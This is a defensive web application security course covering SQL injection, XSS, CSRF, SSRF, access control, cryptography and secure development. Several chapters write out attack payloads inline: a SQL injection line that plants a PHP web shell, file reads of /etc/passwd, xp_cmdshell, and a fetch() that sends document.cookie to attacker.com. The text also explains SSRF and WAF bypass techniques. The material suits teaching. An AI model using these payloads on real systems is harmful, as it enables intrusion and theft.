Web Application
Security
How web vulnerabilities work mechanically, why they exist, what the attack looks like, and — crucially — how to write code that doesn't have them. Fifteen chapters covering every major vulnerability class from SQL injection and XSS through SSRF, business logic, API security, and secure architecture. For developers, security engineers, and AppSec practitioners.
How Web Applications Work
The request/response cycle, HTTP anatomy, sessions, the same-origin policy, and the developer assumptions that create vulnerabilities
Every web vulnerability is a consequence of how web applications are built. To understand why SQL injection works, you need to understand how SQL queries are constructed. To understand why CSRF works, you need to understand how browsers handle cookies. To understand why XSS works, you need to understand how browsers render HTML. This chapter builds the mental model that makes every subsequent chapter intuitive rather than arbitrary.
The Request/Response Cycle
Everything a web application does is a variation on one pattern: a client sends an HTTP request, a server processes it and sends back an HTTP response. Understanding the anatomy of both is the prerequisite for understanding how they are abused.
Several security-critical details are visible in this single exchange. The browser automatically includes all cookies for the domain — this is what enables both session management and CSRF attacks. The server sets a session cookie with HttpOnly (prevents JavaScript access), Secure (HTTPS only), and SameSite=Lax (limits cross-site sending). The response headers include CSP, X-Frame-Options, and HSTS — the security header layer we'll cover in Chapter 13.
HTTP Methods and Their Security Implications
| Method | Purpose | Has Body? | Security Notes |
|---|---|---|---|
GET | Retrieve a resource | No | Parameters in URL — logged by servers, proxies, referrer headers. Never use GET for state-changing actions. |
POST | Submit data / create resource | Yes | Body not logged by default. Required for state-changing actions. Subject to CSRF. |
PUT | Create or replace resource | Yes | Idempotent. Requires authorisation on target resource. |
DELETE | Delete a resource | Optional | Irreversible. Must verify authorisation before executing. |
OPTIONS | CORS preflight / capability query | No | Automatically sent by browsers before cross-origin requests with non-simple content types. |
PATCH | Partial update of resource | Yes | Must validate that only allowed fields can be modified — mass assignment risk. |
Sessions — Why They Exist and Why They're a Target
HTTP is stateless — each request is independent, with no memory of previous requests. Sessions are the mechanism that makes web applications stateful: the server generates a unique session identifier after authentication, stores it in a cookie, and associates server-side state (who is logged in, what their permissions are) with that identifier. Every subsequent request includes the session cookie, and the server looks up the associated state.
This creates the attack surface for session-related vulnerabilities: steal the session cookie and you steal the session. This is why XSS (which can read cookies) and network-level attacks (which can intercept cookies over unencrypted connections) are so impactful. It's also why cookie flags — HttpOnly, Secure, SameSite — are security controls, not cosmetic options.
The Same-Origin Policy
The Same-Origin Policy (SOP) is the browser's primary security boundary. It restricts JavaScript running on one origin from accessing resources from a different origin. An origin is the combination of protocol + hostname + port — https://app.example.com:443 is one origin; https://evil.com:443 is a different origin.
What SOP prevents: JavaScript at evil.com cannot read the response from a fetch to bank.com; cannot access the DOM of an iframe loaded from bank.com; cannot read cookies set by bank.com. What SOP does not prevent: browsers making cross-origin requests (including sending cookies), cross-origin image/script/CSS loading, form submissions to other origins. This last point — that cross-origin form submissions are allowed — is the root cause of CSRF.
Developer Assumptions That Create Vulnerabilities
Most web vulnerabilities stem from reasonable assumptions that turn out to be wrong in adversarial contexts:
- "I control what gets submitted to this form" — developers build forms and assume users will fill them in through the browser interface. Attackers bypass the browser entirely and craft raw HTTP requests with any content they choose. Client-side validation is not security.
- "My API isn't public, so it doesn't need the same security as my web app" — APIs that are "only called by the mobile app" are reachable by any HTTP client. The authentication mechanisms protecting the public web interface must protect the API too.
- "The browser will enforce this security restriction" — security controls that rely on browser behaviour (JavaScript checks, hidden form fields, client-side encryption) can be bypassed by any attacker who communicates directly with the server.
- "The user's input is safe because I know who they are" — authenticated users can still provide malicious input. Most stored XSS vulnerabilities involve a legitimate user account submitting malicious content that executes for other users.
- The browser sends all matching cookies with every request — this enables sessions but also enables CSRF
- State-changing actions must use POST/PUT/DELETE, never GET — parameters in URLs are logged in server logs, proxy logs, and browser history
- Same-origin policy restricts JavaScript reading cross-origin responses but does not prevent cross-origin requests from being sent — CSRF exploits this gap
- Client-side validation is not security — attackers communicate directly with the server using any HTTP client, bypassing all browser-enforced constraints
SQL Injection
How SQL injection works mechanically, the full taxonomy, authentication bypass, data extraction, file read/write, OS command execution, and the only real fix
SQL injection is the vulnerability that has caused more data breaches than arguably any other. It is decades old, thoroughly documented, trivial to prevent with correct coding practices — and still found in production applications every day. Understanding it deeply means understanding not just "what to grep for" but why the fundamental mechanics of SQL query construction create the vulnerability, and why the fix works at the level it does.
SQL injection occurs when untrusted data is concatenated directly into a SQL query string. The database cannot distinguish between the query the developer intended and the query the attacker constructed. The query structure itself — what is SQL syntax and what is data — becomes ambiguous.
How It Works — The Mechanics
A developer writes a login query that checks whether a username and password combination exists in the database. The natural, intuitive, and dangerously wrong way to build this query:
The SQL Injection Taxonomy
| Type | Mechanism | When Used |
|---|---|---|
| Error-based | Database error messages leak schema/data information in the HTTP response | When error details are returned to the user (development servers, verbose errors) |
| Union-based | UNION SELECT appends attacker's query to the original, returning data in the page response | When query results are displayed on the page |
| Boolean blind | Inject a condition (AND 1=1 / AND 1=2) and infer data from whether the page changes | When no data is returned but page behaviour differs based on query success/failure |
| Time-based blind | SLEEP(5) delays the response; used to exfiltrate data bit by bit based on response timing | When no content difference is visible — pure timing channel |
| Out-of-band | DNS or HTTP callback to attacker-controlled server carries exfiltrated data | When network calls are possible from the database server |
| Second-order | Malicious input is safely stored, then later concatenated into a query in a different part of the app | When input is first stored (safely) and later retrieved and used unsafely |
Beyond Data Extraction — Escalating SQLi Impact
SQL injection that achieves only data read is already critical. But depending on database configuration and privileges, the impact can escalate further:
- File read — MySQL's
LOAD_FILE()reads server-side files:UNION SELECT LOAD_FILE('/etc/passwd'),2,3--. Requires FILE privilege. - File write — MySQL's
INTO OUTFILEwrites query results to the server filesystem:UNION SELECT '<?php system($_GET["cmd"]);?>',2,3 INTO OUTFILE '/var/www/html/shell.php'--. Web shell planted. - OS command execution (SQL Server) —
xp_cmdshellexecutes OS commands directly from SQL:EXEC xp_cmdshell 'whoami'. Disabled by default but can be enabled by sa. - Out-of-band data exfiltration (Oracle) —
UTL_HTTP.request()andUTL_FILEcan exfiltrate data via DNS/HTTP when the database server has network access.
The Fix — Parameterised Queries Are Not Optional
Parameterised queries (prepared statements) are the only real fix for SQL injection. Everything else is defence-in-depth:
ORM frameworks like Django ORM, Hibernate, and ActiveRecord use parameterised queries internally — when you use them correctly. When you drop into raw SQL (.raw(), execute(), nativeQuery) or dynamically build ORM filter strings (e.g., dynamic ORDER BY clauses using column names from user input), you reintroduce the injection risk. An ORM is not a substitute for understanding parameterisation — it's a tool that implements it automatically for the common case.
- Single quote
'in any parameter is the first test — does the response change? - sqlmap automates discovery and exploitation but generates enormous log noise
- Second-order SQLi requires manual testing — scanners miss it because the storage and execution are separate requests
- Time-based blind is the fallback when all other types fail — always works, just slow
- Parameterised queries everywhere, no exceptions — this is the fix, not input validation
- Least privilege DB user — the app user should only have SELECT/INSERT/UPDATE on its own tables, never FILE privilege or admin rights
- WAF as defence-in-depth — not a substitute for fixing the code, but buys time and filters script-kiddie attempts
- Error pages should never show database errors to users — generic "something went wrong" only
- SQL injection occurs when untrusted data is concatenated into a query — the database cannot distinguish intended SQL from injected SQL
- Parameterised queries fix SQL injection because the query structure is compiled separately from the data — injected SQL cannot alter the query structure
- ORMs are secure when used correctly and vulnerable when you drop into raw SQL —
.raw()and string-formatted queries are injection risks regardless of ORM - SQLi impact ranges from authentication bypass through full data extraction to OS command execution — severity depends on database privileges and configuration
- Second-order injection (safe storage, later unsafe use) is missed by automated scanners — requires manual tracing of data flow through the application
Cross-Site Scripting (XSS)
Reflected, stored, and DOM-based XSS; what XSS actually enables; context-aware output encoding; Content Security Policy; and why "it's just a pop-up" is wrong
Cross-site scripting is the most commonly found web vulnerability and the most consistently underestimated in terms of real impact. The demonstration payload — alert(1) — produces a harmless popup that leads developers and reviewers to dismiss it as low severity. This is a mistake. XSS gives an attacker the ability to execute arbitrary JavaScript in a victim's browser, in the context of the vulnerable application. That is not a popup; that is a full compromise of the user's session.
The Three Types
Reflected XSS
The malicious script is reflected off the server in a response — it is not stored, and only executes for users who follow the crafted URL. The attack requires delivering the URL to victims (phishing email, shortened URL, open redirect on another site).
Stored XSS
The malicious script is stored in the application's database and served to every user who views the affected content. This is the highest-impact XSS type — it executes for every visitor without requiring the attacker to be present or to deliver individual crafted URLs.
DOM-Based XSS
DOM XSS occurs entirely in the browser — client-side JavaScript reads attacker-controlled data (URL fragment, document.referrer, window.name, postMessage) and writes it to the DOM unsafely. The server never sees the payload, which means server-side output encoding doesn't help.
What XSS Actually Enables
A successful XSS payload running in a victim's browser can:
- Steal session cookies —
fetch('https://attacker.com/?' + document.cookie). Mitigated by HttpOnly flag (JavaScript cannot access HttpOnly cookies), but not all cookies are HttpOnly. - Perform actions as the victim — make authenticated API calls, change the victim's password or email address, transfer funds, post content. The malicious script runs with the same permissions as the victim.
- Capture keystrokes — install a keylogger on the page that sends every keystroke to an attacker server, capturing passwords typed after the XSS executes.
- Redirect to phishing pages —
window.location = 'https://phishing-site.com/login'. The redirect appears to come from the legitimate domain. - Internal network scanning — use the victim's browser as a pivot point to scan internal network resources via JavaScript fetch requests. If the victim is inside a corporate network, the browser can reach internal services that are otherwise inaccessible.
Context-Aware Output Encoding
The critical nuance in XSS defence is that the correct encoding depends on the context where user data is inserted into the page. HTML encoding is correct in HTML body contexts but wrong in JavaScript contexts, URL contexts, and CSS contexts. Using the wrong encoder for the context leaves the vulnerability open:
Content Security Policy
CSP is a browser security mechanism that restricts which scripts, styles, and other resources a page can load. A well-configured CSP can prevent XSS payloads from executing even when injection is possible — making it the most powerful XSS mitigation beyond fixing the encoding.
- Reflected XSS requires delivering a crafted URL to victims; stored XSS executes for every visitor — stored is always higher severity
- DOM XSS lives entirely in client-side JavaScript — server-side encoding doesn't help; use
textContentnotinnerHTMLfor user-controlled data - Output encoding is context-dependent — HTML encoding is wrong in JavaScript, URL, and CSS contexts; use the correct encoder for the insertion point
- HttpOnly cookies prevent cookie theft via XSS but don't prevent authenticated API calls — XSS impact goes far beyond cookie theft
- CSP with nonces eliminates inline script execution even when injection is possible — the most powerful defence after fixing the encoding
Cross-Site Request Forgery (CSRF)
Why CSRF exists, what it achieves, CSRF tokens, the SameSite cookie attribute, and why modern SPAs are largely immune
CSRF exploits the fact that browsers automatically include cookies when making requests to a domain — regardless of which site initiated the request. An authenticated user visiting a malicious site can have their browser make authenticated requests to a legitimate application without their knowledge or consent. The browser is doing exactly what it was designed to do; the vulnerability is in the application's failure to distinguish legitimate requests from forged ones.
When your browser makes a request to bank.com, it includes all cookies for bank.com — including your session cookie. This happens whether the request was initiated by you clicking a link on bank.com, or by JavaScript on evil.com. The bank.com server receives an authenticated request (it has the session cookie) but has no way to know which page caused the browser to send it.
A Complete CSRF Attack
The CSRF Token Pattern
The synchroniser token pattern is the standard CSRF defence. The server generates a unique, unpredictable token, embeds it in every form, stores it in the session, and validates it on every state-changing request. An attacker on evil.com cannot read the victim's session token (same-origin policy prevents it) and therefore cannot include the correct CSRF token in the forged request.
The SameSite Cookie Attribute
SameSite is a cookie attribute that controls when cookies are sent on cross-site requests. It provides CSRF protection at the browser level — before the request even reaches the server.
| Value | Behaviour | CSRF Protection | Considerations |
|---|---|---|---|
| Strict | Cookie never sent on cross-site requests, including top-level navigation | Complete | Users visiting your site from a link will not be logged in — poor UX for most applications |
| Lax | Cookie sent on same-site requests and top-level navigation GET requests; not on cross-site POST, iframe, img, script | Good for most CSRF | Default in Chrome since 2020. Doesn't protect against GET-based CSRF (state-changing GETs are a separate problem to fix) |
| None | Cookie sent on all requests including cross-site | None | Required for legitimate cross-site cookie use (third-party embeds, OAuth flows). Must also set Secure flag. |
Why Modern SPAs Are Largely Immune
Single-page applications that use token-based authentication (JWT in an Authorization header, API key in a custom header) rather than cookie-based sessions are largely immune to CSRF. Cross-site requests cannot include custom headers — the same-origin policy prevents JavaScript on evil.com from setting the Authorization header when making a request to bank.com. The browser's automatic cookie inclusion is the mechanism CSRF exploits; removing cookies from the authentication model removes the vulnerability.
However, CSRF resurfaces in SPAs in several scenarios: mixed authentication (some endpoints still use cookies), cookie-based CSRF token storage with SameSite=None, and legacy APIs consumed by both SPAs and traditional forms.
- CSRF exploits browsers' automatic cookie inclusion — the browser is behaving correctly; the application fails to verify request legitimacy
- CSRF tokens work because attackers cannot read the victim's session (same-origin policy) and therefore cannot include a valid token in forged requests
- SameSite=Lax (default in Chrome since 2020) prevents most CSRF but doesn't protect state-changing GET requests — don't use GET for mutations
- Token-based auth (JWT in Authorization header) eliminates cookie-based CSRF — the custom header cannot be set by cross-site JavaScript
- CSRF token validation must use a timing-safe comparison (
hash_equals) — string equality comparisons are vulnerable to timing attacks
Authentication and Session Management
Credential attacks, password reset flaws, session fixation, JWT attacks, MFA bypass, and correct password storage
Authentication is the gateway to everything a web application protects. It answers a single question — "who are you?" — but answering it incorrectly, incompletely, or in ways that can be manipulated opens every door behind it. Broken authentication encompasses a wide range of implementation failures: from weak password policies through insecure session management to bypassable multi-factor authentication.
Password Reset Vulnerabilities
Password reset flows are consistently one of the most fertile sources of authentication vulnerabilities. They must handle unauthenticated users by definition, which means they operate without the protection of an existing session.
Host Header Injection in Password Reset Emails
Many frameworks generate password reset URLs using the HTTP Host header to determine the application's domain. If the Host header is not validated, an attacker can manipulate it to cause the reset link to be generated pointing to an attacker-controlled domain — and the email is sent with that malicious link.
JWT Attacks
JSON Web Tokens are widely used for stateless authentication. Their security depends on the cryptographic signature being valid and the algorithm being used correctly. Several common implementation flaws make JWTs exploitable:
Password Storage — What Breaks and What Works
- Password reset tokens must use cryptographically random values (32+ bytes from
random_bytes) — MD5 of timestamp + username is guessable within seconds - Generate reset URLs from a trusted config value, never from the Host header — Host header injection lets attackers steal reset tokens
- JWT algorithm must be explicitly specified in verification — never trust the algorithm from the token header
- Argon2id is the current recommended password hashing algorithm — bcrypt is acceptable; MD5, SHA-256, and SHA-512 without a work factor are not
- MFA fatigue attacks send repeated push notifications hoping the user approves one — number matching (enter the code shown in the app) defeats this pattern
Broken Access Control
IDOR, path traversal, file inclusion, mass assignment, vertical and horizontal privilege escalation, and implementing authorisation correctly
Broken access control is the number one OWASP vulnerability category — more prevalent than SQL injection, more prevalent than XSS. It encompasses every scenario where an application fails to correctly enforce what a user is allowed to do or access. Authentication confirms identity; authorisation enforces what that identity can do. Many applications implement authentication well and authorisation poorly.
Horizontal privilege escalation — accessing another user's data at the same privilege level. User A can view User B's account details. Both are regular users; neither should see the other's private data.
Vertical privilege escalation — accessing functionality at a higher privilege level than authorised. A regular user accessing an admin endpoint; a read-only user performing write operations.
IDOR — Insecure Direct Object Reference
IDOR is the most commonly found high-severity finding in bug bounty programmes. It occurs when an application uses a user-controllable identifier to access a resource without verifying that the requesting user is authorised for that specific resource.
Path Traversal
Path traversal occurs when user-supplied input is used to construct a filesystem path, and the application fails to prevent traversal outside the intended directory using ../ sequences.
Mass Assignment
Mass assignment vulnerabilities occur when a web framework automatically binds request parameters to model fields without restricting which fields can be set. An attacker who knows (or guesses) field names can set fields they shouldn't — like role, is_admin, or account_balance.
- Every resource access must verify that the requesting user owns or has permission for that specific resource — authentication (logged in) is not sufficient
- Path traversal is defeated by canonicalising the resolved path with
realpath()and verifying it starts with the expected base directory - Mass assignment requires an explicit allowlist of permitted fields — never bind all request params to a model without filtering
- Deny by default is the correct authorisation model — grant specific permissions explicitly rather than denying specific ones
- Access control decisions must be made server-side — hiding UI elements, using different URLs for different roles, or relying on client-side role checks are not security controls
Injection Beyond SQL
OS command injection, LDAP injection, SSTI, XXE, NoSQL injection, header injection — same root cause, different attack surfaces
SQL injection is the most famous member of a larger vulnerability family. Every injection vulnerability shares the same root cause: untrusted data is interpreted as code or commands rather than data. The specific language being injected into (SQL, shell, LDAP, XML, template engine) determines the mechanics and impact — but the fundamental error and the fundamental fix are always the same.
OS Command Injection
When user input is passed to a shell command, an attacker can inject shell metacharacters to execute additional commands. The impact is immediate remote code execution on the server.
Server-Side Template Injection (SSTI)
Template injection occurs when user input is embedded directly into a template string that is then evaluated by the template engine. Unlike XSS (where the template output is injected), SSTI injects into the template itself — giving the attacker access to the template engine's full functionality, which typically includes arbitrary code execution.
XML External Entity (XXE) Injection
XXE attacks exploit XML parsers that process external entity references in Document Type Definitions (DTDs). When an application parses attacker-supplied XML with external entities enabled, the attacker can read local files, perform SSRF, or cause denial of service.
NoSQL Injection
NoSQL databases are not immune to injection — the syntax is different but the root cause (untrusted data altering query structure) is the same. MongoDB is the most common target.
- OS command injection is best prevented by avoiding shell commands entirely — use language-native libraries or pass arguments as arrays, never as interpolated strings
- SSTI occurs when user data is in the template string itself (not in the context variables) — always pass user data as context, keep templates static
- XXE requires explicit configuration to disable external entity processing — many XML parsers enable it by default; use
defusedxml(Python) or set the appropriate parser flags - NoSQL injection exploits query operators embedded in JSON — validate that expected strings are actually strings before passing to queries
- The root cause of all injection is the same: untrusted data interpreted as instructions rather than data. The fix is always the same category: separate data from instructions using the appropriate API
Server-Side Request Forgery (SSRF)
SSRF mechanics, what the server can reach, blind SSRF, filter bypass techniques, protocol handlers, and the cloud metadata credential chain
SSRF forces a server to make HTTP requests on the attacker's behalf — to destinations the attacker cannot reach directly. In cloud environments, this has become one of the highest-impact vulnerability classes because the cloud metadata service (reachable only from the instance) hands out IAM credentials to any process that asks. A single SSRF vulnerability in a web application can yield full cloud account compromise.
The server making the request has a different network position than the attacker's machine. It can reach: the cloud metadata service (169.254.169.254), internal services behind firewalls (databases, caches, admin panels bound to localhost), services on the internal network, and other cloud services using the instance's IAM role. The attacker, making requests directly, can reach none of these.
SSRF in Practice
Filter Bypass Techniques
Applications often attempt to block SSRF by filtering the URL against a blocklist of internal addresses. These filters are consistently bypassable because IP addresses can be represented in many equivalent forms:
Even the secure approach above is vulnerable to DNS rebinding if the DNS check and the actual request happen sequentially and the DNS TTL is very short. An attacker can make attacker.com resolve to a public IP during the check, then change the DNS record to 127.0.0.1 before the actual request. The correct defence is also to enforce the resolved IP at the HTTP client level (bind to the resolved IP, reject redirects that change hosts) or to use IMDSv2 which requires a PUT request that SSRF cannot perform.
- SSRF exploits the server's network position — it can reach the metadata service, internal services, and localhost that attackers cannot reach directly
- IMDSv1 is SSRF's best friend — it requires only a GET request; IMDSv2 requires a PUT first, which SSRF cannot do from a browser context
- Blocklist SSRF filters are always bypassable — decimal IPs, hex IPs, IPv6 representations, and DNS rebinding defeat them all
- Allowlist with DNS resolution and private IP range rejection is the correct approach — resolve the hostname, then verify the IP is not private/loopback/link-local
- Disable unused URL schemes (
file://,gopher://,dict://) in HTTP client libraries — these enable SSRF attacks against non-HTTP services
Cryptographic Failures
Weak algorithms, ECB mode, padding oracles, timing attacks, insufficient entropy, key management failures, and what to use in 2024
Cryptography is one of the areas where developers most reliably get things wrong — not because they are careless, but because the error modes are subtle and the correct approaches are not intuitive without specialist knowledge. A password hashed with MD5 looks secure in the code. An encryption implementation using ECB mode looks correct. A timing-vulnerable MAC comparison looks identical to a correct one. The failures are invisible until someone exploits them.
Why MD5 and SHA-256 Are Wrong for Passwords
The fundamental requirement for password hashing is computational expense — making each guess slow so that an attacker who obtains a hash database cannot crack passwords at scale. MD5 and SHA-256 are designed to be fast — that is their intended use for integrity checking. For password hashing, fast is wrong.
ECB Mode — Why Encryption Mode Matters
AES-ECB (Electronic Codebook) mode is a textbook example of encryption that looks correct but is deeply broken. ECB encrypts each 16-byte block independently with the same key — so identical plaintext blocks always produce identical ciphertext blocks. Patterns in plaintext survive into the ciphertext.
Timing Attacks on Cryptographic Comparisons
Standard string equality operators in most languages return early when they find the first differing character — making the comparison time dependent on how many characters match. An attacker who can measure response times with sufficient precision can deduce secret values character by character.
What to Use in 2024
| Use Case | Recommended | Avoid |
|---|---|---|
| Password hashing | Argon2id (primary), bcrypt (cost ≥12), scrypt | MD5, SHA-*, pbkdf2 without high iterations |
| Symmetric encryption | AES-256-GCM (AEAD — encrypts and authenticates) | AES-ECB, AES-CBC without MAC, DES, RC4, 3DES |
| Asymmetric signing | Ed25519, ECDSA (P-256), RSA-PSS (4096-bit) | RSA PKCS#1 v1.5, DSA, RSA <2048 bit |
| Hashing (non-password) | SHA-256, SHA-3, BLAKE2 | MD5, SHA-1 (for integrity/signatures) |
| MAC | HMAC-SHA-256, Poly1305 | HMAC-MD5, HMAC-SHA1, home-grown MACs |
| Random number generation | os.urandom(), crypto.randomBytes(), SecureRandom | rand(), Math.random(), timestamp-based |
| TLS | TLS 1.3, TLS 1.2 with modern cipher suites | TLS 1.0, 1.1, SSL 3.0, SSLv2 |
- Argon2id is the current password hashing recommendation — bcrypt at cost ≥12 is acceptable; MD5, SHA-256, and SHA-512 are not
- AES-ECB leaks patterns — identical plaintext blocks produce identical ciphertext; use AES-256-GCM which provides both encryption and authentication
- Always use constant-time comparison for MAC verification — standard
==leaks timing information that allows character-by-character reconstruction - Cryptographic randomness must come from the OS (
os.urandom,crypto.randomBytes) —Math.random()and timestamp-based values are predictable - When in doubt, use a high-level cryptographic library (libsodium, NaCl, Tink) that makes safe choices by default rather than building from primitives
Business Logic Vulnerabilities
The vulnerability class no scanner finds — price manipulation, workflow bypass, race conditions, rate limit evasion, and how to test for it
Business logic vulnerabilities are the most intellectually demanding class of web vulnerability. They are not caused by using a dangerous function incorrectly — they are caused by implementing the application's own rules incorrectly. No automated scanner can detect them because scanners don't understand what the application is supposed to do. Finding and fixing them requires a tester who understands the intended behaviour and can identify where the implementation deviates.
Every other vulnerability class in this module has a technical root cause that a scanner can detect — a concatenated SQL query, an unencoded reflection, a missing CSRF token. Business logic flaws look technically correct. The code does exactly what the developer intended. The developer intended the wrong thing, or failed to anticipate how users would interact with the feature.
Price Manipulation
E-commerce applications that trust the client-submitted price, fail to validate the relationship between quantity and total, or use floating-point arithmetic for financial calculations are vulnerable to price manipulation.
Race Conditions
Race conditions in web applications occur when two concurrent requests can interleave to produce a state that neither request should be able to produce alone. They are particularly dangerous in operations that check a condition and then act on it — the "check-then-act" pattern.
Workflow Bypass
Multi-step workflows (checkout flows, account verification flows, password reset flows) often assume steps will be executed in order. When the application doesn't validate that prior steps were completed before accepting a later step, attackers can skip steps entirely.
- Never trust prices, quantities, or any financial value from the client — always recompute from the canonical server-side source
- Race conditions in check-then-act patterns are fixed by atomic database operations —
findOneAndUpdatewith a condition, database transactions, or row-level locking - Workflow bypass happens when later steps don't validate that prior steps completed — model session state explicitly (pending_2fa vs authenticated) rather than relying on implicit assumptions
- Business logic testing requires understanding the intended flow — map every state, every transition, and ask "what if I skip/reverse/repeat this step?"
- No scanner finds business logic flaws — they require a tester who reads the application code or uses it deeply enough to understand the intended behaviour before probing deviations
API Security
OWASP API Security Top 10, GraphQL vulnerabilities, OAuth 2.0 attacks, API key management, and rate limiting design
Modern applications are built on APIs — REST services, GraphQL endpoints, gRPC interfaces — and the security model for APIs has important differences from traditional web applications. Authentication is more varied (API keys, JWT, OAuth 2.0). Access control failures have a different character (BOLA vs IDOR). APIs expose machine-readable schema (Swagger, GraphQL introspection) that gives attackers a complete map of the attack surface before they start testing.
BOLA — The #1 API Vulnerability
Broken Object Level Authorisation (BOLA) is the API Security Top 10's equivalent of IDOR — and its most common finding. An API endpoint that returns objects based on a user-supplied ID without verifying the requesting user is authorised for that specific object is vulnerable.
GraphQL Security
GraphQL's power — flexible querying, schema introspection — creates a distinct attack surface compared to REST APIs.
OAuth 2.0 — Common Implementation Flaws
OAuth 2.0 is the standard for delegated authorisation — "log in with Google," third-party app access, API authorisation. Correct implementation requires attention to several details that are easy to get wrong:
- BOLA (Broken Object Level Authorisation) is the #1 API vulnerability — always scope database queries to the authenticated user, not just the supplied ID
- GraphQL introspection maps the entire attack surface — disable it in production; enable only in development environments
- GraphQL depth and complexity limits prevent nested query DoS — without them, a single request can trigger exponential database queries
- OAuth state parameter prevents CSRF in the authorisation flow — its absence allows attackers to link victims' accounts to attacker-controlled OAuth identities
- Rate limiting must apply per-operation in batch-capable APIs (GraphQL batching, JSON RPC) — per-HTTP-request limits are trivially bypassed by batching
Client-Side Security
CORS misconfiguration, clickjacking, cookie security in depth, Subresource Integrity, postMessage, prototype pollution, and browser storage
The browser is a security boundary, not merely a rendering engine. The same-origin policy, CORS, CSP, cookie flags, and subresource integrity are all mechanisms the browser enforces on behalf of users and websites. Understanding them as a connected system — rather than individual features to configure in isolation — is what allows you to reason about what is and isn't protected in a given application architecture.
CORS — Cross-Origin Resource Sharing
CORS allows servers to explicitly permit cross-origin requests that the same-origin policy would otherwise block. The server uses Access-Control headers to communicate which origins, methods, and headers are permitted. The most common and most dangerous CORS misconfiguration is reflecting the Origin header — allowing any origin to make authenticated cross-origin requests.
Clickjacking
Clickjacking overlays a transparent iframe containing a legitimate application over a deceptive page, hijacking the user's clicks to perform actions on the underlying site without their knowledge. The defence is preventing the application from being framed at all.
Prototype Pollution
JavaScript's prototype chain means every object inherits properties from Object.prototype. Prototype pollution occurs when an attacker can inject properties into Object.prototype via a vulnerable merge/assign operation — causing those properties to appear on all objects in the application, potentially enabling XSS, privilege escalation, or RCE in server-side Node.js contexts.
- CORS that reflects the Origin header is equivalent to no SOP protection — use an explicit allowlist of trusted origins, never reflect the request's Origin value
- Clickjacking is prevented by
Content-Security-Policy: frame-ancestors 'none'— every application should set this unless it explicitly needs to be framed - Prototype pollution via
__proto__in JSON merge operations can grant all objects arbitrary properties — sanitise merge keys explicitly - Browser storage: localStorage persists indefinitely, sessionStorage for session duration, HttpOnly cookies are inaccessible to JavaScript — store session tokens in HttpOnly cookies, not localStorage
- Subresource Integrity (SRI) hashes on
<script>and<link>tags prevent execution of compromised CDN content — required for any externally-hosted resource
Modern Application Security Architecture
Security headers in full, defence in depth, the secure SDLC, SAST/DAST/SCA, secure framework defaults, and input vs output as separate concerns
Individual vulnerability fixes are necessary but not sufficient. An application that has fixed every known SQLi, XSS, and CSRF finding but has no Content Security Policy, no security headers, no SAST in the pipeline, and no dependency scanning is still in a weak security posture. This chapter covers the architectural and process-level controls that make security a structural property of the application rather than a patch applied after each finding.
Security Headers — The Complete Set
Input Validation vs Output Encoding vs Parameterisation
These three controls are often conflated but serve different purposes and are not interchangeable:
Security in the Development Lifecycle
| Stage | Activity | Tool Examples | What It Catches |
|---|---|---|---|
| Design | Threat modelling | STRIDE, PASTA, draw.io + manual | Design-level flaws before a line of code exists |
| Development | IDE SAST plugins | Semgrep, SonarLint, CodeQL IDE extension | Injection patterns, hardcoded secrets, insecure functions — in real time |
| Commit | Pre-commit hooks | detect-secrets, git-secrets, Gitleaks | Secrets committed to version control |
| CI pipeline | SAST scan | Semgrep, CodeQL, Checkmarx | Security anti-patterns across entire codebase |
| CI pipeline | SCA scan | Snyk, Dependabot, OWASP Dependency-Check | Known CVEs in third-party dependencies |
| CI pipeline | Container scan | Trivy, Grype, Snyk Container | OS and package vulnerabilities in container images |
| Staging | DAST scan | OWASP ZAP, Burp Suite Enterprise | Runtime vulnerabilities: XSS, SQLi, CSRF, auth failures |
| Pre-release | Manual pentest / code review | Burp Suite, manual code review | Business logic, complex auth flows, chained vulnerabilities |
| Production | DAST / bug bounty | Continuous scanning, HackerOne | Regressions, new features, zero-days |
- Security headers (CSP, HSTS, X-Content-Type-Options, Referrer-Policy) are a layer of browser-enforced defence — set all of them; each covers a different threat
- Input validation, output encoding, and parameterisation are three separate controls for three separate threats — none is a substitute for the others
- Security shifts left: finding a vulnerability in threat modelling costs hours; in code review costs hours; in production costs hundreds of thousands of dollars and reputation
- SAST finds code patterns; DAST finds runtime behaviour; SCA finds dependency vulnerabilities — all three are needed because each catches what the others miss
- Framework secure defaults (Django ORM, Rails CSRF protection, Spring Security headers) are only secure when used as intended — customisation and workarounds often undo them
Web Application Firewalls and Detection
WAF architecture, how WAFs work, bypass techniques (to understand why WAF is not primary defence), web application logging, SIEM rules, and web app IR
A Web Application Firewall sits between users and your application, inspecting HTTP traffic and blocking requests that match known attack patterns. WAFs are valuable — they provide real protection against automated attacks and unsophisticated attackers, and they buy time when a zero-day is discovered. But WAFs are defence-in-depth, not primary defence. Understanding how they are bypassed makes clear why "we have a WAF" is not a satisfactory answer to "why don't you have parameterised queries?"
How WAFs Work
WAFs inspect HTTP requests (and optionally responses) and evaluate them against a ruleset:
- Signature-based — rules that match known attack strings. The OWASP ModSecurity Core Rule Set (CRS) contains thousands of regular expressions matching SQLi, XSS, path traversal, and other patterns. Fast and effective against known attacks; blind to novel variations.
- Anomaly scoring — each suspicious characteristic adds to a score; requests exceeding a threshold are blocked. More flexible than signature-matching; tuning required to avoid false positives.
- Rate-based — limits requests per IP, per session, or per endpoint over time. Effective against brute force and scraping; not effective against slow, distributed attacks.
WAF Bypass Techniques
The goal of studying bypass techniques is not to attack WAFs — it's to understand why a WAF cannot be the primary SQL injection defence:
What to Log and Why
Web application logs are the evidence that investigations depend on. What is not logged cannot be investigated. What is logged incorrectly misleads investigations.
- WAFs provide real value against automated attacks and unsophisticated adversaries — but a determined attacker with knowledge of the target WAF will find a bypass
- WAF bypass techniques (encoding, comment injection, HTTP pollution) demonstrate why fixing the underlying vulnerability (parameterised queries) is the only durable defence
- Log security events (auth attempts, access denials, validation failures) with structured data — timestamp, user ID, IP, request ID, reason — never credentials or sensitive data
- Web application IR starts with the access log: identify the first anomalous request, trace the attack chain forward through time, determine what was accessed
- SIEM rules for web attacks: high 4xx rates from a single IP (scanner), repeated auth failures (brute force), unusual response sizes (data exfiltration), requests containing known attack strings
Secure Development Practices and Career
The secure SDLC, security code review, dependency management, bug bounty from the developer's perspective, AppSec career paths, and certifications
The technical content in the preceding fourteen chapters describes individual vulnerability classes and their fixes. This final chapter is about the practices and systems that prevent those vulnerabilities from reaching production in the first place — and the career paths for practitioners who make web application security their focus.
Security Code Review — What to Look For
Reading code with a security lens requires a different mode of attention than reading for functionality. Where functional review asks "does this code do what it's supposed to?", security review asks "what could an adversary do with this code that the developer didn't intend?"
Dependency Management — The Supply Chain Problem
